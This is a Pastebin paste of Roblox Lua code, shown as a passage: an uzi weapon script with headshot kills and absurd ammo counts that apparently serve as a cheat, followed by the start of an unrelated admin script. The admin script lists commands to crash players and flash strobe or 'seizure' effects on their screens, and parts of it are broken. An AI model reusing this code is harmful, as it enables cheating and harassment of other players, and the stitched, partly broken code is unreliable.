Advertisement
Scriptorz5

uzi headshot

May 5th, 2018
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 144.24 KB | None | 0 0
  1. wait(0.001);
  2.  
  3. --------------------------------------------------------------------------------------
  4.  
  5. _clear=function()
  6. local c={char;bag;gui;};
  7. for i=1,#c do
  8. local c=c[i]:children();
  9. for i=1,#c do
  10. if(c[i].Name==name)then
  11. c[i].Parent=nil;
  12. end;
  13. end;
  14. end;
  15. local n=name..user.Name;
  16. local c=workspace:children();
  17. for i=1,#c do
  18. if(c[i].Name==n)then
  19. c[i].Parent=nil;
  20. end;
  21. end;
  22. end;
  23.  
  24. _valid_key=function(object,key)
  25. return object[key],key;
  26. end;
  27.  
  28. _new=function(class)
  29. return function(props)
  30. if(type(list_base_props)=='table')then
  31. for i,v in next,list_base_props do
  32. if(props[i]==nil)then
  33. props[i]=v;
  34. end;
  35. end;
  36. end;
  37.  
  38. local object=class;
  39.  
  40. if(type(class)=='string')then
  41. object=Instance.new(class:sub(1,1):upper()..class:sub(2));
  42. end;
  43.  
  44. local parent=props[1];
  45. props[1]=nil;
  46.  
  47. for i,v in next,props do
  48. local load,res,key=pcall(_valid_key,object,i:sub(1,1):upper()..i:sub(2));
  49. if(not load)then
  50. load,res,key=pcall(_valid_key,object,i);
  51. end;
  52.  
  53. if(key)then
  54. t=type(res);
  55. s=tostring(res);
  56. if(t=='userdata'and s=='Signal '..key)then
  57. if(type(v)=='table')then
  58. for i=1,#v do
  59. res:connect(v[i]);
  60. end;
  61. else
  62. res:connect(v);
  63. end;
  64. else
  65. object[key]=v;
  66. end;
  67. end;
  68. end;
  69.  
  70. if(parent)then
  71. object.Parent=parent;
  72. end;
  73.  
  74. return object;
  75. end;
  76. end;
  77.  
  78. _RGB=function(r,g,b)
  79. return Color3.new(r/255,g/255,b/255);
  80. end;
  81.  
  82. _copy=function(o)
  83. local def=o.archivable;
  84. o.archivable=true;
  85. local c=o:clone();
  86. o.archivable=def;
  87. return c;
  88. end;
  89.  
  90. _hum=function(char)
  91. local hum=char:findFirstChild'Humanoid';
  92. if(not hum or hum.className~='Humanoid')then
  93. local c=char:children();
  94. for i=1,#c do
  95. if(c[i].className=='Humanoid')then
  96. return c[i];
  97. end;
  98. end;
  99. else
  100. return hum;
  101. end;
  102. end;
  103.  
  104. _hum_tag=function(hum)
  105. local c=hum:findFirstChild'creator'or Instance.new('ObjectValue',hum);
  106. c.Name='creator';
  107. c.Value=user;
  108. if(hum.Health==0 and not hum:findFirstChild'killed')then
  109. Instance.new('BoolValue',hum).Name='killed';
  110. bullets.clip=bullets.clip+10;
  111. end;
  112. end;
  113.  
  114. _hum_dam=function(hum,dam,percent)
  115. hum.Health=hum.Health-(percent and hum.MaxHealth*(dam*0.01)or dam);
  116. if(hum.Health<=hum.MaxHealth*0.1)then
  117. _hum_tag(hum);
  118. end;
  119. end;
  120.  
  121. _ray=function(v0,v1,i)
  122. local mag=(v0-v1).magnitude;
  123. local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag));
  124.  
  125. return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList or workspace.FindPartOnRay)(workspace,ray,i);
  126. end;
  127.  
  128. _must=function(v0,v1,i)
  129. local hit,pos=_ray(v0,v1,i);
  130. return not hit and mouse.target or hit,pos;
  131. end;
  132.  
  133. _cframe=function(x,y,z,r0,r1,r2)
  134. return CFrame.Angles(
  135. math.rad(r0 or 0),
  136. math.rad(r1 or 0),
  137. math.rad(r2 or 0)
  138. )*CFrame.new(x,y,z);
  139. end;
  140.  
  141. _update=function()
  142. if(bool_active and not screen.Parent)then
  143. screen.Parent=gui;
  144. elseif(not bool_active and screen.Parent)then
  145. screen.Parent=nil;
  146. end;
  147. end;
  148.  
  149. _light=function(v0,v1)
  150. local mag=(v0-v1).magnitude;
  151. local len=math.random(2,7);
  152. len=len>mag/2 and mag/2 or len;
  153.  
  154. local light=_new'part'{
  155. cFrame=CFrame.new(v0,v1);
  156. size=Vector3.new(1,1,1);
  157. color=_RGB(255,255,0);
  158. anchored=true;
  159. inv;
  160. };
  161. _new'blockMesh'{
  162. scale=Vector3.new(0.2,0.2,len);
  163. offset=Vector3.new(0,0,-len/2);
  164. light;
  165. };
  166.  
  167. local bb=_new'billboardGui'{
  168. size=UDim2.new(2,0,2,0);
  169. adornee=light;
  170. light;
  171. };
  172. _new'imageLabel'{
  173. image=url:format(109101526);
  174. backgroundTransparency=1;
  175. size=UDim2.new(1,0,1,0);
  176. bb;
  177. };
  178.  
  179. _rem(light,0.15);
  180. end;
  181.  
  182. _rem=function(object,del)
  183. if(del)then
  184. delay(del,function()
  185. if(object.Parent)then
  186. object.Parent=nil;
  187. end;
  188. end);
  189. else
  190. pcall(function()
  191. if(object.Parent)then
  192. object.Parent=nil;
  193. end;
  194. end);
  195. end;
  196. end;
  197.  
  198. _blood=function(pos,count)
  199. for i=1,count do
  200. local p=_new'part'{
  201. rotVelocity=Vector3.new(math.random(),math.random(),math.random())*50;
  202. position=pos+Vector3.new(math.random(),math.random(),math.random());
  203. velocity=Vector3.new(math.random(),math.random(),math.random())*50;
  204. size=Vector3.new(math.random(),math.random(),math.random())/3;
  205. color=_RGB(255,0,0);
  206. transparency=0.5;
  207. canCollide=true;
  208. bottomSurface=0;
  209. topSurface=0;
  210. formFactor=3;
  211. locked=true;
  212. inv;
  213. };
  214. delay(5,function()
  215. p.Parent=nil;
  216. end);
  217. end;
  218. end;
  219.  
  220. _make_hue=function()
  221. h_hue=_new'part'{
  222. size=Vector3.new(0.25,1.8,0.35);
  223. color=_RGB(100,100,100);
  224. formFactor=3;
  225. name='hue';
  226. handle;
  227. };
  228. hh_weld=_new'weld'{
  229. c1=_cframe(0,0.5,0);
  230. part0=handle;
  231. part1=h_hue;
  232. handle;
  233. };
  234. end;
  235.  
  236. _shot=function(v0,v1)
  237. if(not time_left)then
  238. time_left=0;
  239. end;
  240. if(time_left>time())then
  241. return nil;
  242. else
  243. time_left=time()+math.random(1,10)/100;
  244. end;
  245.  
  246. if(bullets.current<1)then
  247. local tick_sound=head:findFirstChild'tick_sound'or _new'sound'{
  248. soundId='rbxasset://sounds/SWITCH3.wav';
  249. name='tick_sound';
  250. volume=0.2;
  251. pitch=2;
  252. head;
  253. };
  254. tick_sound:play();
  255. if(bullets.clip>0)then
  256. time_left=time()+2;
  257. h_hue:breakJoints();
  258. h_hue.CanCollide=true;
  259. h_hue.Velocity=(h_hue.CFrame*CFrame.new(0,5,0)).lookVector*10;
  260. _rem(h_hue,10);
  261. delay(1.9,function()
  262. _make_hue();
  263. local got=(bullets.clip>bullets.maximum and
  264. bullets.maximum or
  265. bullets.clip)-bullets.current;
  266.  
  267. bullets.clip=bullets.clip-got;
  268. bullets.current=bullets.current+got;
  269. end);
  270. end;
  271. return nil;
  272. else
  273. bullets.current=bullets.current-1;
  274.  
  275. h_weld.C1=_cframe(0,0.75,0,
  276. -math.random(1000,1100)/10,180,0);
  277. d_weld.C1=_cframe(0,-0.25,0.3);
  278.  
  279. lightstuff.Visible=true;
  280. delay(0.1,function()
  281. lightstuff.Visible=false;
  282. end);
  283.  
  284. _rem(_new'part'{
  285. velocity=CFrame.new(drag.Position,(drag.CFrame*CFrame.new(-4,-5,0)).p).lookVector*10;
  286. cFrame=drag.CFrame*CFrame.new(-0.5,0,0);
  287. size=Vector3.new(0.1,0.1,0.4);
  288. color=_RGB(200,200,0);
  289. material='Slate';
  290. canCollide=true;
  291. formFactor=3;
  292. inv;
  293. },5);
  294. delay(0.1,function()
  295. d_weld.C1=_cframe(0,-0.25,0);
  296. if(bool_active)then
  297. h_weld.C1=h_weld_cf_active;
  298. end;
  299. end)
  300. end;
  301.  
  302. local hit,pos=_must(v0,v1,char);
  303.  
  304. shot_sound:play();
  305.  
  306. _light(v0,v1);
  307.  
  308. if(not hit)then return nil;end;
  309.  
  310. if(hit.Parent.className=='Hat')then
  311. hit:breakJoints();
  312. hit.CanCollide=true;
  313. hit.Velocity=CFrame.new(v0,pos).lookVector*math.random(30,50);
  314. hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90));
  315. else
  316. local hum=_hum(hit.Parent);
  317. if(not hum)then
  318. if(hit.Anchored==false and hit.Size.magnitude<4)then
  319. hit:breakJoints();
  320. hit.CanCollide=true;
  321. end;
  322. else
  323. _hum_dam(hum,math.random(4,6));
  324. _blood(pos,math.random(3,6));
  325. hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90))/6;
  326. if(hit.Name=='Head')then
  327. hum.Health=0;
  328. _blood(pos,math.random(3,6));
  329. delay(0.001,function()
  330. _new(workspace:FindFirstChild'head_shot'or'sound'){
  331. pitch=math.random(70,100)*0.01;
  332. soundId=url:format(1876552);
  333. name='head_shot';
  334. workspace;
  335. }:play();
  336. end);
  337. _hum_tag(hum);
  338. _rem(_new'part'{
  339. cFrame=CFrame.new(v0,pos)*CFrame.new(0,0,-(v0-pos).magnitude*0.5);
  340. size=Vector3.new(0.1,0.1,(v0-pos).magnitude);
  341. color=torso.Color;
  342. transparency=0.5;
  343. canCollide=false;
  344. bottomSurface=0;
  345. anchored=true;
  346. formFactor=3;
  347. topSurface=0;
  348. inv;
  349. },30);
  350. hit.Parent=nil;
  351. for b=0,1 do
  352. for a=0,1 do
  353. for i=0,1 do
  354. _rem(_new'part'{
  355. velocity=CFrame.new(v0,pos).lookVector*20;
  356. cFrame=hit.CFrame*CFrame.new(i,-b,a);
  357. size=Vector3.new(0.5,0.5,0.5);
  358. color=_RGB(255,255,255);
  359. bottomSurface=0;
  360. canCollide=true;
  361. transparency=0;
  362. formFactor=3;
  363. topSurface=0;
  364. hum;
  365. },30);
  366. end;
  367. end;
  368. end;
  369. end;
  370. end;
  371. end;
  372. end;
  373.  
  374. ----------------------------------------------------------------------------------------
  375.  
  376. _cf_select=function(mouse)
  377. mouse.Icon=url:format(109111387);--108999296
  378. bool_active=true;
  379.  
  380. local arm=char:findFirstChild'Right Arm';
  381. local weld=torso:findFirstChild'Right Shoulder';
  382. if(arm and weld)then
  383. h_weld.Part0=arm;
  384. h_weld.C1=h_weld_cf_active;
  385.  
  386. weld.Part1=nil;
  387. weld.Part0=nil;
  388.  
  389. weld=_new(torso:findFirstChild'right_arml'or'weld'){
  390. name='right_arml';
  391. part0=torso;
  392. part1=arm;
  393. torso;
  394. };
  395.  
  396. arml=(arml or 0)+1;
  397. local alv=arml;
  398. local gyro=torso:findFirstChild'p_gyro'or Instance.new('BodyGyro',torso);
  399. gyro.maxTorque=Vector3.new(5e5,5e5,5e5);
  400. gyro.P=30000;
  401. gyro.D=1000;
  402. gyro.Name='p_gyro';
  403. repeat
  404. local pos=mouse.hit.p;
  405. local val,valp,p0,p1,p2,hitpos,cj,c0,c1;
  406.  
  407. val=-math.pi*0.5;
  408. valp=val*-1;
  409. p0=torso.CFrame;
  410. p0=p0+((p0*CFrame.Angles(valp,0,0)).lookVector*0.5)+(p0*CFrame.Angles(0,val,0)).lookVector;
  411. p1=p0+((p0.p-pos).unit*-2);
  412. p2=CFrame.new((p0.p+p1.p)/2,p0.p)*CFrame.Angles(val,val,0);
  413. hitpos=torso.Position;
  414. cj=CFrame.new(hitpos);
  415. c0=torso.CFrame:inverse()*cj;
  416. c1=p2:inverse()*cj;
  417. weld.C0=c0;
  418. weld.C1=c1;
  419.  
  420. gyro.cframe=CFrame.new(torso.Position,Vector3.new(pos.X,torso.Position.Y,pos.Z));
  421.  
  422. wait(0.001);
  423. until arml~=alv;
  424. gyro.Parent=nil;
  425. end;
  426. end;
  427.  
  428. _cf_deselect=function()
  429. bool_active=false;
  430. arml=(arml or 0)+1;
  431. loop_shot=(loop_shot or 0)+1;
  432.  
  433. h_weld.Part0=torso;
  434. h_weld.C1=h_weld_cf_inactive;
  435.  
  436. local weld=torso:findFirstChild'right_arml';
  437. if(weld)then
  438. weld.Part1=nil;
  439. weld.Part0=nil;
  440. end;
  441. local arm=char:findFirstChild'Right Arm';
  442. local weld=torso:findFirstChild'Right Shoulder';
  443. if(arm and weld)then
  444. weld.Part0=torso;
  445. weld.Part1=arm;
  446. end;
  447. end;
  448.  
  449. _cf_mouse=function(event,fun)
  450. mouse[event:sub(1,1):upper()..event:sub(2)]:connect(function(...)
  451. if(bool_active)then
  452. fun(...);
  453. end;
  454. end);
  455. end;
  456.  
  457. ----------------------------------------------------------------------------------------
  458.  
  459. do
  460. local main=getfenv(0);
  461. local c=game:children();
  462. local check=function(v)
  463. if(v.className~=''and v.className~='Instance'and game:service(v.className))then
  464. main[v.className:sub(1,1):lower()..v.className:sub(2)]=v;
  465. end;
  466. end;
  467. for i=1,#c do
  468. pcall(check,c[i]);
  469. end;
  470. end;
  471.  
  472. ----------------------------------------------------------------------------------------
  473.  
  474. bullets={
  475. maximum=51111111111111111111111111110;
  476. current=511111111111111111111111111111110;
  477. clip=501111111111111111111111111111111*4;
  478. };
  479.  
  480. list_base_props={
  481. backgroundColor3=_RGB(0,0,0);
  482. textColor3=_RGB(200,200,200);
  483. borderSizePixel=0;
  484. color=_RGB(0,0,0);
  485. archivable=false;
  486. canCollide=false;
  487. bottomSurface=0;
  488. topSurface=0;
  489. formFactor=0;
  490. locked=true;
  491. };
  492.  
  493. ----------------------------------------------------------------------------------------
  494.  
  495. user=players.localPlayer;
  496. mouse=user:getMouse();
  497. char=user.Character;
  498. gui=user.PlayerGui;
  499. bag=user.Backpack;
  500. torso=char.Torso;
  501. head=char.Head;
  502. hum=_hum(char);
  503.  
  504. url='rbxassetid://%d';
  505. name='dev-uzi';
  506.  
  507. h_weld_cf_inactive=_cframe(0.35,0.5,0.5,
  508. 0,90,-70);
  509. h_weld_cf_active=_cframe(0,0.75,0,
  510. -110,180,0);
  511.  
  512. assert(hum,'humanoid is not found');
  513.  
  514. ----------------------------------------------------------------------------------------
  515.  
  516. _clear();
  517.  
  518. ----------------------------------------------------------------------------------------
  519.  
  520. _cf_mouse('button1Down',function()
  521. loop_shot=(loop_shot or 0)+1;
  522. local vers=loop_shot;
  523. local step=runService.Stepped;
  524. repeat
  525. _shot((tube.CFrame*CFrame.new(0,0,tube.Size.Z*0.5)).p,mouse.hit.p);
  526. step:wait();--wait(0.001);
  527. until vers~=loop_shot;
  528. end);
  529.  
  530. _cf_mouse('button1Up',function()
  531. loop_shot=(loop_shot or 0)+1;
  532. end);
  533.  
  534. _cf_mouse('move',function()
  535. cross_f.Position=UDim2.new(0,mouse.X-11,0,mouse.Y-11);
  536. end);
  537.  
  538. _cf_mouse('keyDown',function(k)
  539. if(k=='r')then
  540. if(bullets.clip>0 and time_left<=time())then
  541. local got=(bullets.clip>bullets.maximum and
  542. bullets.maximum or
  543. bullets.clip)-bullets.current;
  544.  
  545. bullets.clip=bullets.clip-got;
  546. bullets.current=bullets.current+got;
  547. if(got~=0)then
  548. time_left=time()+2;
  549. end;
  550. end;
  551. end;
  552. end);
  553.  
  554. ----------------------------------------------------------------------------------------
  555.  
  556. screen=_new'screenGui'{
  557. name=name;
  558. };
  559.  
  560. cross_f=_new'frame'{
  561. size=UDim2.new(0,21,0,21);
  562. backgroundTransparency=1;
  563. screen;
  564. };
  565.  
  566. for i=0,1 do
  567. _new'frame'{
  568. position=UDim2.new(0,13*i,0,11);
  569. size=UDim2.new(0,10,0,1);
  570. cross_f;
  571. };
  572. end;
  573.  
  574. for i=0,1 do
  575. _new'frame'{
  576. position=UDim2.new(0,11,0,13*i);
  577. size=UDim2.new(0,1,0,10);
  578. cross_f;
  579. };
  580. end;
  581.  
  582. ----------------------------------------------------------------------------------------
  583.  
  584. shot_sound=_new(head:findFirstChild'2920959'or'sound'){
  585. soundId=url:format(2920959);
  586. pitch=1.4;
  587. head;
  588. };
  589. if(shot_sound.Name~='2920959')then
  590. shot_sound.Name='2920959';
  591. shot_sound:play();
  592. end;
  593.  
  594. bin=_new'hopperBin'{
  595. deselected=_cf_deselect;
  596. selected=_cf_select;
  597. name=name;
  598. bag;
  599. };
  600.  
  601. inv=_new'model'{
  602. name=name;
  603. char;
  604. };
  605.  
  606. handle=_new'part'{
  607. size=Vector3.new(0.3,1.3,0.4);
  608. color=_RGB(140,140,140);
  609. name='handle';
  610. formFactor=3;
  611. inv;
  612. touched=function(hit)
  613. if(hit.Parent.className=='Model')then
  614. local hum=_hum(hit.Parent);
  615. if(hum~=nil)then
  616. _hum_dam(hum,handle.Velocity.magnitude);
  617. end;
  618. end;
  619. end;
  620. };
  621. h_weld=_new'weld'{
  622. c1=h_weld_cf_inactive;
  623. part1=handle;
  624. part0=torso;
  625. handle;
  626. };
  627. _make_hue();
  628.  
  629. h_part=_new'part'{
  630. size=Vector3.new(0.4,0.4,1.4);
  631. color=_RGB(140,140,140);
  632. name='handle';
  633. formFactor=3;
  634. handle;
  635. };
  636. hp_weld=_new'weld'{
  637. c1=_cframe(0,-1.3/2,-0.3,
  638. 20,0,0);
  639. part0=handle;
  640. part1=h_part;
  641. handle;
  642. };
  643.  
  644. drag=_new'part'{
  645. size=Vector3.new(0.5,0.45,1.5);
  646. color=_RGB(100,100,100);
  647. name='handle';
  648. formFactor=3;
  649. handle;
  650. };
  651. d_weld=_new'weld'{
  652. c1=_cframe(0,-0.25,0);
  653. part0=h_part;
  654. part1=drag;
  655. handle;
  656. };
  657.  
  658. tube=_new'part'{
  659. size=Vector3.new(0.2,0.2,1.5);
  660. color=_RGB(0,0,0);
  661. name='handle';
  662. formFactor=3;
  663. handle;
  664. };
  665. t_weld=_new'weld'{
  666. c1=_cframe(0,-0.3,-0.1);
  667. part0=h_part;
  668. part1=tube;
  669. handle;
  670. };
  671.  
  672. bullets_label=_new'textLabel'{
  673. textStrokeColor3=_RGB(0,0,0);
  674. textColor3=_RGB(200,200,200);
  675. textStrokeTransparency=0;
  676. backgroundTransparency=1;
  677. fontSize=5;
  678. screen;
  679. };
  680.  
  681. lightstuff=_new'frame'{
  682. backgroundColor3=_RGB(255,255,255);
  683. position=UDim2.new(0,0,0,-1);
  684. backgroundTransparency=0.5;
  685. size=UDim2.new(1,0,1,1);
  686. borderSizePixel=0;
  687. visible=false;
  688. screen;
  689. };
  690.  
  691. coroutine.wrap(function()
  692. local red,white,green;
  693. repeat
  694. if(screen.Parent)then
  695. if(not green and bullets.current==bullets.maximum)then
  696. green=true;
  697. bullets_label.TextColor3=_RGB(0,200,0);
  698. elseif(not red and bullets.current==0)then
  699. red=true;
  700. bullets_label.TextColor3=_RGB(200,0,0);
  701. elseif((red or green)and bullets.current~=0 and bullets.current~=bullets.maximum)then
  702. bullets_label.TextColor3=_RGB(200,200,200);
  703. green=false;
  704. red=false;
  705. end;
  706. bullets_label.Text=('Bullets: %d/%d'):format(bullets.current,bullets.clip);
  707. bullets_label.Size=UDim2.new(0,bullets_label.TextBounds.X,0,bullets_label.TextBounds.Y);
  708. bullets_label.Position=UDim2.new(1,-bullets_label.TextBounds.X-6,1,-bullets_label.TextBounds.Y-6);
  709. end;
  710. wait(0.001);
  711. until nil;
  712. end)();
  713.  
  714. ----------------------------------------------------------------------------------------
  715.  
  716. _G.dev_pistol_version=(_G.dev_pistol_version or 0)+1;
  717. local vers=_G.dev_pistol_version;
  718. repeat _update();wait(0.001);until _G.dev_pistol_version~=vers or hum.Health==0;
  719. if(hum.Health==0)then
  720. _clear();
  721. end;
  722. script.Disabled=true;
  723.  
  724. --mediafire-----------------------------------------------------------------------------
  725.  
  726.  
  727. -----------------------------------------------------------------------------------------
  728. -- Thanx for using mah admin script I'd appreciate credit if you used in your place c: --
  729. -----------------------------------------------------------------------------------------
  730. local owners = LocalPlayer -- Are able to set admins who can ban/etc... using :pa name
  731. local admins = {"Kohltastrophe"} -- Sets admins who can use ban/kick/admin or shutdown
  732. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  733. local banland = {"MasterKhaos"} -- Permanently Bans people
  734. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  735. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  736. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  737. ---------------------
  738. -- VIP Admin --
  739. ---------------------
  740. local VipAdmin = false -- If someone can have admin for owning an item
  741. local ItemId = 0 -- The item they must own in order to have admin
  742. ---------------------
  743. -- Group Admin --
  744. ---------------------
  745. local GroupAdmin = false -- If a certain group can have admin
  746. local GroupId = 0 -- Sets the group id that can have admin
  747. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  748. ---------------------
  749. -- Tips and Tricks --
  750. ---------------------
  751. --[[
  752. With this admin you can do a command on multiple people at a time;
  753. :kill me,noob1,noob2,random,team-raiders,nonadmins
  754.  
  755. You can also use a variety commands for different people;
  756. all
  757. others
  758. me
  759. team-
  760. admins
  761. nonadmins
  762. random
  763. --]]
  764. ---------------------
  765. -- Commands --
  766. ---------------------
  767. --[[
  768. -- |Temp Admin Commands| --
  769. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  770. 1. :s print("Hello World") -- Lets you script normally
  771. 2. :ls print("Hello World") -- Lets you script in localscripts
  772. 3. :clear -- Will remove all scripts/localscripts and jails
  773. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  774. 5. :kill kohl -- Kills the player
  775. 6. :respawn kohl -- Respawns the player
  776. 7. :trip kohl -- Trips the player
  777. 8. :stun kohl -- Stuns the player
  778. 9. :unstun kohl -- Unstuns the player
  779. 10. :jump kohl -- Makes the player jump
  780. 11. :sit kohl -- Makes the player sit
  781. 12. :invisible kohl -- Makes the player invisible
  782. 13. :visible kohl -- Makes the player visible
  783. 14. :explode kohl -- Makes the player explode
  784. 15. :fire kohl -- Sets the player on fire
  785. 16. :unfire kohl -- Removes fire from the player
  786. 17. :smoke kohl -- Adds smoke to the player
  787. 18. :unsmoke kohl -- Removes smoke from the player
  788. 19. :sparkles kohl -- Adds sparkles to the player
  789. 20. :unsparkles kohl -- Removes sparkles from the player
  790. 21. :ff kohl -- Adds a forcefield to the player
  791. 22. :unff kohl -- Removes the forcefield from the player
  792. 23. :punish kohl -- Punishes the player
  793. 24. :unpunish kohl -- Unpunishes the player
  794. 25. :freeze kohl -- Freezes the player
  795. 26. :thaw kohl -- Thaws the player
  796. 27. :heal kohl -- Heals the player
  797. 28. :god kohl -- Makes the player have infinite health
  798. 29. :ungod kohl -- Makes the player have 100 health
  799. 30. :ambient .5 .5 .5 -- Changes the ambient
  800. 31. :brightness .5 -- Changes the brightness
  801. 32. :time 12 -- Changes the time
  802. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  803. 34. :fogend 100 -- Changes the fogend
  804. 35. :fogstart 100 -- Changes the fogstart
  805. 36. :removetools kohl -- Removes all tools from the player
  806. 37. :btools kohl -- Gives the player building tools
  807. 38. :give kohl sword -- Gives the player a tool
  808. 39. :damage kohl -- Damages the player
  809. 40. :grav kohl -- Sets the player's gravity to normal
  810. 41. :setgrav kohl 100 -- Sets the player's gravity
  811. 42. :nograv kohl -- Makes the player have 0 gravity
  812. 43. :health kohl 1337 -- Changes the player's health
  813. 44. :speed kohl 1337 -- Changes the player's walkspeed
  814. 45. :name kohl potato -- Changes the player's name
  815. 46. :unname kohl -- Remove the player's name
  816. 47. :team kohl Raiders -- Changes the player's team
  817. 48. :stopmusic -- Will stop all music playing in the server
  818. 49. :teleport kohl potato -- Teleports the player
  819. 50. :change kohl kills 1337 -- Changes a player's stat
  820. 51. :kick kohl -- Removes the player from the game
  821. 52. :infect kohl -- Turns the player into a zombie
  822. 53. :rainbowify kohl -- Turns the player into a rainbow
  823. 54. :flashify kohl -- Turns the player into a strobe
  824. 55. :noobify kohl -- Turns the player into a noob
  825. 56. :ghostify kohl -- Turns the player into a ghost
  826. 57. :goldify kohl -- Turns the player into gold
  827. 58. :shiny kohl -- Makes the player shiny
  828. 59. :normal kohl -- Puts the player back to normal
  829. 60. :trippy kohl -- Spams random colors on the player's screen
  830. 61. :untrippy kohl -- Untrippys the player
  831. 62. :strobe kohl -- Spams white and black on the player's screen
  832. 63. :unstrobe kohl -- Unstrobes the player
  833. 64. :blind kohl -- Blinds the player
  834. 65. :unblind kohl -- Unblinds the player
  835. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  836. 67. :fling kohl -- Flings the player
  837. 68. :seizure kohl -- Puts the player in a seizure
  838. 69. :music 1337 -- Plays a sound from the ID
  839. 70. :lock kohl -- Locks the player
  840. 71. :unlock kohl -- Unlocks the player
  841. 72. :removelimbs kohl -- Removes the player's limbs
  842. 73. :jail kohl -- Puts the player in a jail
  843. 74. :unjail kohl -- Removes the jail from the player
  844. 75. :fix -- This will fix the lighting to it's original settings
  845. 76. :fly kohl -- Makes the player fly
  846. 77. :unfly kohl -- Removes fly from the player
  847. 78. :noclip kohl -- Makes the player able to noclip
  848. 79. :clip kohl -- Removes noclipping from the player
  849. 80. :pm kohl Hey bro -- Sends the player a private message
  850. 81. :dog kohl -- Turns the player into a dog
  851. 82. :undog kohl -- Turns the player back to normal
  852. 83. :creeper kohl -- Turns the player into a creeper
  853. 84. :uncreeper kohl -- Turns the player back to normal
  854. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  855. 86. :char kohl 261 -- Will make a player look like a different player ID
  856. 87. :unchar kohl -- Will return the player back to normal
  857. 88. :h Hello People -- This will shout a hint to everyone
  858. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  859. 90. :starttools kohl -- Will give the player starter tools
  860. 91. :sword kohl -- Will give the player a sword
  861. 92. :bighead kohl -- Will make the player's head larger than normal
  862. 93. :minihead kohl -- Will make the player's head smaller than normal
  863. 94. :insert 1337 -- Will insert a model at the speaker's position
  864. 95. :disco -- Will make the server flash random colors
  865. 96. :flash -- Will make the server flash
  866. 97. :admins -- Shows the admin list
  867. 98. :bans -- Shows the banlist
  868. 99. :musiclist -- Shows the music list
  869. 100. :spin kohl -- Spins the player
  870. 101. :cape kohl Really black -- Gives the player a colored cape
  871. 102. :uncape kohl -- Removes the player's cape
  872. 103. :loopheal kohl -- Will constantly heal the player
  873. 104. :loopfling kohl -- Will constantly fling the player
  874. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  875. 106. :unloopheal kohl -- Will remove the loopheal on the player
  876. 107. :unloopfling kohl -- Will remove the loopfling on the player
  877. 108. :unspin kohl -- Removes spin from the player
  878. 109. :tools -- Gives a list of the tools in the lighting
  879. 110. :undisco -- Removes disco effects
  880. 111. :unflash -- Removes flash effects
  881. 112. :resetstats kohl -- Sets all the stats of a player to 0
  882. 113. :gear kohl 1337 -- Gives a player a gear
  883. 114. :cmdbar -- Gives the speaker a command bar
  884. 115. :shirt kohl 1337 -- Changes the player's shirt
  885. 116. :pants kohl 1337 -- Changes the player's pants
  886. 117. :face kohl 1337 -- Changes the player's face
  887. 118. :swagify kohl -- Swagifies the player
  888. 119. :version -- Shows the current version of the admin
  889. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  890. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  891. 122. :clone kohl -- Creates a clone of the player
  892. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  893. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  894. 125. :control kohl -- Controls a player
  895.  
  896. -- |Admin Commands| --
  897. - :serverlock -- Locks the server
  898. - :serverunlock -- Unlocks the server
  899. - :sm Hello World -- Creates a system message
  900. - :crash kohl -- Crashes a player
  901. - :admin kohl -- Admins a player
  902. - :unadmin kohl -- Unadmins a player
  903. - :ban kohl -- Bans a player
  904. - :unban kohl -- Unbans a player
  905. - :loopkill kohl -- Will constantly kill the player
  906. - :unloopkill kohl -- Will remove the loopkill on the player
  907. - :logs -- Will show all of the commands any admin has used in a game session
  908. - :shutdown -- Shutsdown the server
  909.  
  910. -- |Owner Commands| --
  911. - :pa kohl -- Makes someone a super admin
  912. - :unpa kohl -- Removes a super admin
  913. - :nuke kohl -- Creates a nuke on kohl
  914.  
  915. -- |True Owner Commands| --
  916. - :oa kohl -- Makes someone an owner
  917. - :unoa kohl -- Removes an owner
  918. - :settings -- Shows settings for the commands
  919. --]]
  920. ---------------------
  921. -- Main Script --
  922. ---------------------
  923. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  924.  
  925. function CHEESE()
  926. if game:service("Lighting"):findFirstChild("KACV2") then
  927. owners = {} admins = {} tempadmins = {} banland = {}
  928. for i,v in pairs(game.Lighting.KACV2:children()) do
  929. if v.Name == "Owner" then table.insert(owners, v.Value) end
  930. if v.Name == "Admin" then table.insert(admins, v.Value) end
  931. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  932. if v.Name == "Banland" then table.insert(banland, v.Value) end
  933. if v.Name == "Prefix" then prefix = v.Value end
  934. if v.Name == "FunCommands" then FunCommands = v.Value end
  935. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  936. if v.Name == "GroupId" then GroupId = v.Value end
  937. if v.Name == "GroupRank" then GroupRank = v.Value end
  938. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  939. if v.Name == "ItemId" then ItemId = v.Value end
  940. end
  941. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  942. end
  943.  
  944. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  945. local lobjs = {}
  946. local objects = {}
  947. local logs = {}
  948. local nfs = ""
  949. local slock = false
  950.  
  951. function GetTime()
  952. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
